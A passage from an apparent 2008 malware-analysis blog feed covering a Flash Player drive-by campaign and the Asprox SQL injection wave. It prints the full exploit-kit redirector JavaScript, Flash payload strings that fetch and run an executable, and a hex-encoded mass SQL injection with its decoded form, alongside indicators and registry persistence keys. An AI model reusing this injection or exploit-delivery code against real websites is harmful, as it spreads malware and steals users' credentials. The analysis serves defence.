327476b3f320d220a71ca59f52725a1c 106496&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;_it.bat baa54369f859f810a2f2bd163abef3f0 272&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-5079584431030742426?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/5079584431030742426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/5079584431030742426'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/06/videofileexe-nuwar-variant.html' title='video_file.exe Nuwar Variant'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_q7ApSx8GNew/SEMwxjDBQNI/AAAAAAAAAAs/Drv-lSUavOg/s72-c/spam.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-6544672001226053919</id><published>2008-05-28T19:59:00.036-04:00</published><updated>2008-05-28T21:30:33.366-04:00</updated><title type='text'>Adobe Flash Player Exploitation</title><content type='html'>Several sources including &lt;a href="http://www.symantec.com/security_response/threatcon/index.jsp"&gt;Symantec DeepSight&lt;/a&gt;, &lt;a href="http://isc.sans.org/diary.html?storyid=4465"&gt;SANS ISC&lt;/a&gt;, and &lt;a href="http://ddanchev.blogspot.com/2008/05/malware-attack-exploiting-flash-zero.html"&gt;Dancho Danchev &lt;/a&gt;have reported in-the-wild exploitation of a vulnerability affecting Adobe Flash Player. The vulnerability was originally thought to be an 0-day, but analysis has revealed it is more likely the previously reported Adobe Flash Player SWF File Unspecified Remote Code Execution Vulnerability (CVE-2007-0071). Adobe Flash Player 9.0.115.0 is affected, and there are conflicting reports whether and to what degree the current version 9.0.124.0 is affected. Initial websites serving Flash exploit code include dota11.cn, wuqing17173.cn, woai117.cn, and play0nlnie.com. Script references to these sites (and a growing number of others) are belived to have been injected into legitimate websites through SQL injection attacks. The malicious sites utilize a Chinese MPack-type tool to generate numerous exploits in an effort to install PSW.OnlineGames trojans designed to exfiltrate gaming credentials. The following provides a sample analysis of wuqing17173.cn.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;wuqing17173.cn Analysis:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_q7ApSx8GNew/SD35FDDBQJI/AAAAAAAAAAM/9fNmkrYKaR0/s1600-h/wuqing.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5205590609422794898" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_q7ApSx8GNew/SD35FDDBQJI/AAAAAAAAAAM/9fNmkrYKaR0/s320/wuqing.JPG" border="0" /&gt;&lt;/a&gt;A Google search for the identified malicious domain wuqing17173.cn (58.215.87.11) currently returns a single result that includes an injected iframe for count18[dot]wuqing17173[dot]cn/click.aspx.php.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_q7ApSx8GNew/SD4CFjDBQMI/AAAAAAAAAAk/ShDtBCNTWAg/s1600-h/wow.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5205600513617379522" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SD4CFjDBQMI/AAAAAAAAAAk/ShDtBCNTWAg/s320/wow.JPG" border="0" /&gt;&lt;/a&gt;The compromised accttstore.com site hosting the count18[dot]wuqing17173[dot]cn iframe deals with selling World of Warcraft (WoW) assets. The aversary end goal is to exfiltrate online gaming credentials, so websites dedicated to WoW are prime targets for injecting iframe and script redirects.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The count18[dot]wuqing17173[dot]cn/click.aspx.php connection returns what looks to be an HTTP 404 error, but the bottom of the page contains malicious JavaScript. The script checks for several ActiveX controls and if present, redirects the victim to specific exploit code hosted at www[dot]0novel[dot]com (58.215.87.11). The following vulnerabilities are attempted to be exploited.&lt;br /&gt;&lt;br /&gt;File: Flash.swf, Flash1.swf&lt;br /&gt;Vulnerability: Adobe Flash Player SWF File Unspecified Remote Code Execution Vulnerability&lt;br /&gt;CVE: (BID 28695)&lt;br /&gt;&lt;br /&gt;File: ms06014.js&lt;br /&gt;Vulnerability: MDAC RDS.Dataspace ActiveX Control Vulnerability&lt;br /&gt;CVE: CVE-2006-0003&lt;br /&gt;&lt;br /&gt;File: Real.js&lt;br /&gt;Vulnerability: RealPlayer IERPCtl ActiveX Playlist Handling Buffer Overflow Vulnerability&lt;br /&gt;CVE: CVE-2007-5601&lt;br /&gt;&lt;br /&gt;File: Lz.htm&lt;br /&gt;Vulnerability: Ourgame GLWorld ActiveX Control Multiple Buffer Overflow Vulnerabilities&lt;br /&gt;CVE: CVE-2008-0647&lt;br /&gt;&lt;br /&gt;File: Bf.htm&lt;br /&gt;Vulnerability: Baofeng Storm ActiveX Controls Multiple Remote Buffer Overflow Vulnerabilities&lt;br /&gt;CVE: CVE-2007-4816, CVE-2007-4943&lt;br /&gt;&lt;br /&gt;File: Xl.htm&lt;br /&gt;Vulnerability: Xunlei Thunder DapPlayer ActiveX Control Buffer Overflow&lt;br /&gt;CVE: CVE-2007-6144&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;count18[dot]wuqing17173[dot]cn/click.aspx.php code:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;script&amp;gt;window.onerror=function(){return true;}&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;Script Language="JScript"&amp;gt;&lt;br /&gt;var cook = "silentwm";&lt;br /&gt;function setCookie(name, value, expire)&lt;br /&gt;{&lt;br /&gt;window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));&lt;br /&gt;}&lt;br /&gt;function getCookie(Name)&lt;br /&gt;{&lt;br /&gt;var search = Name + "=";&lt;br /&gt;if (window.document.cookie.length &amp;gt; 0)&lt;br /&gt;{&lt;br /&gt;offset = window.document.cookie.indexOf(search);&lt;br /&gt;if (offset != -1)&lt;br /&gt;{&lt;br /&gt;offset += search.length;&lt;br /&gt;end = window.document.cookie.indexOf(";", offset)&lt;br /&gt;if (end == -1)&lt;br /&gt;end = window.document.cookie.length;&lt;br /&gt;return unescape(window.document.cookie.substring(offset, end));&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return null;&lt;br /&gt;}&lt;br /&gt;function register(name)&lt;br /&gt;{&lt;br /&gt;var today = new Date();&lt;br /&gt;var expires = new Date();&lt;br /&gt;expires.setTime(today.getTime() + 1000*60*60*24);&lt;br /&gt;setCookie(cook, name, expires);&lt;br /&gt;}&lt;br /&gt;function openWM()&lt;br /&gt;{&lt;br /&gt;var c = getCookie(cook);&lt;br /&gt;if (c != null)&lt;br /&gt;{&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;register(cook);&lt;br /&gt;window.defaultStatus="....";&lt;br /&gt;try{ var e;&lt;br /&gt;var ado=(document.createElement("object"));&lt;br /&gt;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");&lt;br /&gt;var as=ado.createobject("Adodb.Stream","")}&lt;br /&gt;catch(e){};&lt;br /&gt;finally{&lt;br /&gt;if(e!="[object Error]"){&lt;br /&gt;document.write("&amp;lt;script src=&lt;strong&gt;http:\/\/www.0novel.com\/ms06014.js&lt;/strong&gt;&amp;gt;&amp;lt;\/script&amp;gt;")}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",");&lt;br /&gt;if(Flashver[2] == 115){document.write('&amp;lt;embed src="&lt;strong&gt;flash.swf&lt;/strong&gt;"&amp;gt;&amp;lt;/embed&amp;gt;');}&lt;br /&gt;if(Flashver[2] == 47){document.write('&amp;lt;embed src="&lt;strong&gt;flash1.swf&lt;/strong&gt;"&amp;gt;&amp;lt;/embed&amp;gt;');}&lt;br /&gt;try{ var j;&lt;br /&gt;var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}&lt;br /&gt;catch(j){};&lt;br /&gt;finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")&amp;lt;="6.0.14.552")&lt;br /&gt;{document.write('&amp;lt;script src=&lt;strong&gt;http:\/\/www.0novel.com\/real.js&lt;/strong&gt;&amp;gt;&amp;lt;\/script&amp;gt;')}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;document.write('&amp;lt;iframe width=10 height=0 src=rl.htm&amp;gt;&amp;lt;/iframe&amp;gt;')}}}&lt;br /&gt;try{ var g;&lt;br /&gt;var glworld=new ActiveXObject("GLIEDown.IEDown.1");}&lt;br /&gt;catch(g){};&lt;br /&gt;finally{if(g!="[object Error]"){&lt;br /&gt;document.write('&amp;lt;iframe style=display:none src=&lt;strong&gt;lz.htm&lt;/strong&gt;&amp;gt;&amp;lt;/iframe&amp;gt;')}}&lt;br /&gt;try{ var h;&lt;br /&gt;var storm=new ActiveXObject("MPS.StormPlayer.1");}&lt;br /&gt;catch(h){};&lt;br /&gt;finally{if(h!="[object Error]"){&lt;br /&gt;document.write('&amp;lt;iframe style=display:none src=&lt;strong&gt;bf.htm&lt;/strong&gt;&amp;gt;&amp;lt;/iframe&amp;gt;')}}&lt;br /&gt;try{ var f;&lt;br /&gt;var thunder=new ActiveXObject("DPClient.Vod");}&lt;br /&gt;catch(f){};&lt;br /&gt;finally{ if(f!="[object Error]"){&lt;br /&gt;document.write('&amp;lt;iframe width=50 height=0 src=&lt;strong&gt;xl.htm&lt;/strong&gt;&amp;gt;&amp;lt;/iframe&amp;gt;')}}&lt;br /&gt;if(f=="[object Error]" &amp;amp;&amp;amp; g=="[object Error]" &amp;amp;&amp;amp; h=="[object Error]" &amp;amp;&amp;amp; j=="[object Error]")&lt;br /&gt;{location.replace("about:blank");}&lt;br /&gt;}}&lt;br /&gt;}&lt;br /&gt;openWM();&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;embed sRc=&lt;strong&gt;flash.swf&lt;/strong&gt; width=50 height=0&amp;gt;&amp;lt;/embed&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:0;"&gt;&lt;span style="font-size:0;"&gt;&lt;span style="font-size:0;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;The strings of Flash.swf include the payload http: //www[dot]lovedai[dot]cn/back.css (58.215.87.11) executed as c:\6123t.exe. The payload from the other exploits was www[dot]0novel[dot]com/back.css (58.215.87.11).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Flash.swf strings:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;FWS&lt;br /&gt;fHY&lt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;`P3&lt;br /&gt;t.x&lt;br /&gt;urlmon.dll&lt;br /&gt;SSR&lt;br /&gt;;C:\6123t.exe&lt;br /&gt;ahU&lt;br /&gt;http: //www[dot]lovedai[dot]cn/back.css&lt;br /&gt;t.x&lt;br /&gt;C&lt;br /&gt;new_fla MainTimeline&lt;br /&gt;flash.display&lt;br /&gt;MovieClip&lt;br /&gt;new_fla:MainTimeline&lt;br /&gt;frame1&lt;br /&gt;addFrameScript&lt;br /&gt;Object flash.events&lt;br /&gt;EventDispatcher&lt;br /&gt;DisplayObject&lt;br /&gt;InteractiveObject&lt;br /&gt;DisplayObjectContainer&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;Spritenew_fla.MainTimeline&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Malware Analysis:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The malware back.css is a binary file designed to look like a cascading style sheet. The malware creates backow.dll in the victim’s Temp directory and creates and deletes C:\ w1.hiv and C:\w2.hiv. The malware backow.dll is detected as a Infostealer.Gampass variant (Symantec) designed to exfiltrate World of Warcraft (WoW) online gaming accounts.&lt;br /&gt;&lt;br /&gt;Filename: back.css&lt;br /&gt;MD5: 54939e5ffb291518a1fb0f28a92faf41&lt;br /&gt;Size: 25.7 KB (26,368 bytes)&lt;br /&gt;&lt;br /&gt;Back.css creates:&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\&lt;em&gt;username&lt;/em&gt;\Local Settings\Temp\backow.dll&lt;br /&gt;&lt;br /&gt;Filename: backow.dll&lt;br /&gt;MD5: 86909167e5b867ea509bd91dba6add03&lt;br /&gt;Size: 14.2 KB (14,592 bytes)&lt;br /&gt;&lt;br /&gt;The binary strings of backow.dll reveal WoW domains and the file realmlist.wtf which is a WoW text file that tells the WoW-client which server to connect to.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00003134 00403D34 0 realmlist.wtf&lt;br /&gt;0000317C 00403D7C 0 .worldofwarcraft.com&lt;br /&gt;0000319C 00403D9C 0 .wowchina.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Back.css creates the following registry keys:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\ComWaraisn "{00211E3E-D7A2-456A-AE04-EB9ABF822FE4}"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data:&lt;br /&gt;HKEY_CURRENT_USER\Software\ComWaraisn "{AEB6717E-7E19-11d0-97EE-00C04FD91972}"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data:&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{00211E3E-D7A2-456A-AE04-EB9ABF822FE4} "(Default)"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Windows&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{00211E3E-D7A2-456A-AE04-EB9ABF822FE4}\InProcServer32 "(Default)"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: C:\DOCUME~1\username\LOCALS~1\Temp\backow.dll&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{00211E3E-D7A2-456A-AE04-EB9ABF822FE4}\InProcServer32 "ThreadingModel"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Apartment&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks "{00211E3E-D7A2-456A-AE04-EB9ABF822FE4}"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data:&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-6544672001226053919?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6544672001226053919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6544672001226053919'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/05/adobe-flash-player-exploitation.html' title='Adobe Flash Player Exploitation'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_q7ApSx8GNew/SD35FDDBQJI/AAAAAAAAAAM/9fNmkrYKaR0/s72-c/wuqing.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-1352890078977434292</id><published>2008-05-19T23:24:00.012-04:00</published><updated>2008-05-19T23:55:14.392-04:00</updated><title type='text'>Asprox Trojan and banner82.com</title><content type='html'>On May 19, 2008 Dancho Danchev &lt;a href="http://blogs.zdnet.com/security/?p=1122"&gt;discussed &lt;/a&gt;fast-fluxing SQL injections this time involving the domain banner82.com. The banner82.com SQL injection attacks are similar to the previous direct84.com injections, but there are some slight differences.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;SQL Injection Attack:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522838303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461655F437572736F72 AS&lt;br /&gt;VARCHAR(4000));EXEC(@S);--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Decodes to:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(8000),['+@C+']))+''script &lt;strong&gt;src=http: //www[dot]banner82[dot]com/b.js&lt;/strong&gt; script''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Tae_Cursor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The user-agent for the injection was: Mozilla/4.0 (compatible; MSIE 7.0;Windows NT 5.1; .NET CLR 2.0.50727)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Banner82.com Domain&lt;/strong&gt;&lt;br /&gt;As reported by Danchev, the domain uses fast-flux technology (double-flux) with a rotating pool of proxy peer and DNS IP addresses. A small sample during analysis revealed:&lt;br /&gt;&lt;br /&gt;24.126.130.229&lt;br /&gt;67.167.252.180&lt;br /&gt;69.247.201.61&lt;br /&gt;71.81.34.118&lt;br /&gt;74.129.121.181&lt;br /&gt;75.118.8.92&lt;br /&gt;78.92.76.30&lt;br /&gt;89.170.16.252&lt;br /&gt;99.151.145.10&lt;br /&gt;99.254.31.140&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Banner82.com Site &lt;/strong&gt;&lt;br /&gt;The b.js file may redirect to malicious code at a varitiey of locations. A sample analysis revealed the following.&lt;br /&gt;&lt;br /&gt;injected script: http: //www[dot]banner82[dot]com/b.js&lt;br /&gt;&lt;br /&gt;b.js returned an iframe redirect to: http: //banner82[dot]com/cgi-bin/index.cgi?ad&lt;br /&gt;&lt;br /&gt;http: //banner82[dot]com/cgi-bin/index.cgi?ad returned a location redirect to: http: //66[dot]199[dot]242[dot]26/cgi-bin/index.cgi?inbox&lt;br /&gt;&lt;br /&gt;http: //66[dot]199[dot]242[dot]26/cgi-bin/index.cgi?inbox returned two layers of obfuscated code (callee.toString() + location.href)&lt;br /&gt;&lt;br /&gt;The result is script a redirect to http: //66[dot]199[dot]242.[dot].26 /cgi-bin/index.cgi?ad75d33b00000258007e11f339060000000002e547d1afff02656e2d75730000000000&lt;br /&gt;&lt;br /&gt;(the string characters vary with each connection)&lt;br /&gt;&lt;br /&gt;Two more layers of obfuscated code (callee.toString() + location.href) reveal Neosploit generated exploit code targeted at the following vulnerabilities:&lt;br /&gt;&lt;br /&gt;MDAC RDS.Dataspace ActiveX control vulnerability (CVE-2006-0003)&lt;br /&gt;AOL SB.SuperBuddy.1 ActiveX Control Remote Code Execution Vulnerability (CVE-2006-5820)&lt;br /&gt;GOM Player GOM Manager ActiveX Control Buffer Overflow (CVE-2007-5779)&lt;br /&gt;CA Products DSM ListCtrl ActiveX Control Code Execution Vulnerability (CVE-2008-1472)&lt;br /&gt;Apple Quicktime HREFTrack Cross-Zone Scripting vulnerability (CVE-2007-0059)&lt;br /&gt;Heap-based buffer overflow in DirectAnimation.PathControl COM object (CVE-2006-4446)&lt;br /&gt;&lt;br /&gt;The payload was a request for the binary file: http: //66[dot]199[dot]242[dot]26/cgi-bin/index.cgi?ad75d33b00000258027e11f339060000000002e547d1e60002040900000000020&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Malware Analysis:&lt;/strong&gt;&lt;br /&gt;The payload was saved as "index"&lt;br /&gt;&lt;br /&gt;Filename: (index.exe) – long string of characters&lt;br /&gt;MD5: 60b9fbb8ba14171cd5d3d1fd86ddd564&lt;br /&gt;Size: 48.0 KB (49,152 bytes)&lt;br /&gt;&lt;br /&gt;The malware made the following connection to retrieve common.bin (spam instructions) and cmdexe.bin (SQL injection tool msscntr32.exe)&lt;br /&gt;&lt;br /&gt;POST /forum.php HTTP/1.1&lt;br /&gt;Host: 66[dot]199[dot]241[dot]98&lt;br /&gt;&lt;br /&gt;POST /forum_asp.php HTTP/1.1&lt;br /&gt;Host: 66[dot]197[dot]168[dot]5&lt;br /&gt;&lt;br /&gt;The "index" malware searches for installations of CuteFTP and WS_FTP. The following files were created:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\System32\aspimgr.exe Trojan.Asprox (Symantec)&lt;br /&gt;C:\WINDOWS\s32.txt&lt;br /&gt;C:\WINDOWS\System32\msscntr32.exe&lt;br /&gt;&lt;br /&gt;Filename: aspimgr.exe&lt;br /&gt;MD5: bb0c22f33cbf8be8a264e96ef6895ce4&lt;br /&gt;Size: 72.0 KB (73,728 bytes)&lt;br /&gt;&lt;br /&gt;Filename: msscntr32.exe&lt;br /&gt;MD5: 30afb898ba27e925f41eab9e68b62833&lt;br /&gt;Size: 20.0 KB (20,480 bytes)&lt;br /&gt;&lt;br /&gt;The following registry keys were created:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Sft "(Default)"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: {056B8C51-1B27-4D61-81CA-66EA278842B7}&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "DisplayName"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Microsoft ASPI Manager&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "ErrorControl"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "ImagePath"&lt;br /&gt;Type: REG_EXPAND_SZ&lt;br /&gt;Data: C:\WINDOWS\System32\aspimgr.exe&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "ObjectName"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: LocalSystem&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "Start"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 02, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "Type"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 10, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Enum "0"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Root\LEGACY_ASPIMGR\0000&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Enum "Count"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Enum "NextInstance"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Security "Security"&lt;br /&gt;Type: REG_BINARY&lt;br /&gt;Data: 01, 00, 14, 80, 90, 00, 00, 00, 9C, 00, 00, 00, 14, 00, 00, 00, 30, 00, 00, 00, 02, 00, 1C, 00, 01, 00, 00, 00, 02, 80, 14, 00, FF, 01, 0F, 00, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 02, 00, 60, 00, 04, 00, 00, 00, 00, 00, 14, 00, FD, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 00, 00, 18, 00, FF, 01, 0F, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 20, 02, 00, 00, 00, 00, 14, 00, 8D, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 0B, 00, 00, 00, 00, 00, 18, 00, FD, 01, 02, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 23, 02, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter "DisplayName"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Microsoft Security Center Extension&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter "ErrorControl"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter "ImagePath"&lt;br /&gt;Type: REG_EXPAND_SZ&lt;br /&gt;Data: C:\WINDOWS\System32\msscntr32.exe&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter "ObjectName"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: LocalSystem&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter "Start"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 02, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter "Type"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 10, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter\Enum "0"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Root\LEGACY_MSSCENTER\0000&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter\Enum "Count"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter\Enum "NextInstance"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msscenter\Security "Security"&lt;br /&gt;Type: REG_BINARY&lt;br /&gt;Data: 01, 00, 14, 80, 90, 00, 00, 00, 9C, 00, 00, 00, 14, 00, 00, 00, 30, 00, 00, 00, 02, 00, 1C, 00, 01, 00, 00, 00, 02, 80, 14, 00, FF, 01, 0F, 00, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 02, 00, 60, 00, 04, 00, 00, 00, 00, 00, 14, 00, FD, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 00, 00, 18, 00, FF, 01, 0F, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 20, 02, 00, 00, 00, 00, 14, 00, 8D, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 0B, 00, 00, 00, 00, 00, 18, 00, FD, 01, 02, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 23, 02, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware aspimgr.exe makes the following connections and sets up an HTTP server on port 